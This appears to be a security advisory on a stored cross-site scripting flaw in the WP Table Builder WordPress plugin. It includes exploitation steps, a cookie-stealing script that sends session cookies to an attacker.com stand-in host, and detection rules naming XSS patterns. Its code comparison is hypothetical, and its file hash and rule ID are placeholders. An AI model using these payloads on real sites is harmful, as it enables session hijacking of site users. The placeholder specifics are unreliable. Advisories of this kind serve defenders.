CVE-2025-55711

Executive Summary

CVE-2025-55711 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Table Builder WordPress plugin, affecting versions up to and including 2.0.12. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin's table builder interface. When an administrator or other user views the compromised table, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised table.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin can lead to significant downstream attacks, including privilege escalation and site compromise.

Deep Dive & Mechanics

The vulnerability exists in the WP Table Builder plugin's input handling. The plugin allows users to create and edit tables via a visual builder. When a user with contributor-level access or higher inserts content into table cells, the plugin fails to properly sanitize and escape the input before storing it in the database. When the table is later rendered on a page, the unsanitized content is executed in the browser of any user viewing that page.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or omits output escaping entirely for certain fields. Specifically, the wp-table-builder plugin's AJAX handlers for saving table data do not apply sufficient filtering to prevent JavaScript injection.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin panel.
2. The attacker creates or edits a table using the WP Table Builder.
3. In a table cell, the attacker inserts a payload such as <img src=x onerror=alert('XSS')>.
4. The plugin saves the payload to the database without proper sanitization.
5. When an administrator or other user views the page containing the table, the payload executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (wp-table-builder/includes/class-ajax.php):

// Vulnerable: Directly saves user input without sanitization
$cell_content = $_POST['cell_content'];
update_post_meta($table_id, 'cell_' . $cell_index, $cell_content);

Patched Code (Hypothetical):

// Patched: Sanitize and escape output
$cell_content = sanitize_text_field($_POST['cell_content']);
update_post_meta($table_id, 'cell_' . $cell_index, $cell_content);
// When rendering:
echo esc_html($cell_content);

Key Difference: The patched version uses sanitize_text_field() on input and esc_html() on output, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with WP Table Builder <= 2.0.12 installed and activated.
• A user account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to WP Table Builder → Add New.
3. Create a new table and add a row with a cell.
4. In the cell content, insert the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the table and publish it on a page or post.
6. As an administrator, view the page. The alert box will display the administrator's cookies.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual table content containing <script>, <img onerror>, or other HTML event handlers.
• Review WordPress database entries in wp_postmeta for suspicious values.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Mitigation:

• Disable the WP Table Builder plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • wp-table-builder.zip (version 2.0.12): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
• Database Entries:
  • wp_postmeta rows with meta_key containing cell_ and meta_value containing <script> or event handlers.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Log Entries:
  • WordPress debug log entries showing failed sanitization attempts.

Detection Engineering

YARA Rule

rule CVE_2025_55711_WP_Table_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Table Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55711"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /onmouseover\s*=/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in WP Table Builder Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via WP Table Builder plugin
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1190
    - cve.2025.55711
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body: 'action=wp_table_builder_save_cell'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in table cells (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55711 WP Table Builder Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_table_builder_save_cell"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete WP Table Builder until a patch is available.
2. Restrict user roles – Remove contributor-level access from untrusted users.
3. Audit existing tables – Review all tables created with the plugin for malicious content.

Long-term Fix:

• Apply input sanitization (sanitize_text_field(), wp_kses_post()) and output escaping (esc_html(), esc_attr()) to all user-supplied data.
• Implement a Content Security Policy (CSP) that blocks inline scripts.
• Regularly update the plugin once a patched version is released.

Workaround:

• Use a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests to admin-ajax.php.

Valters IT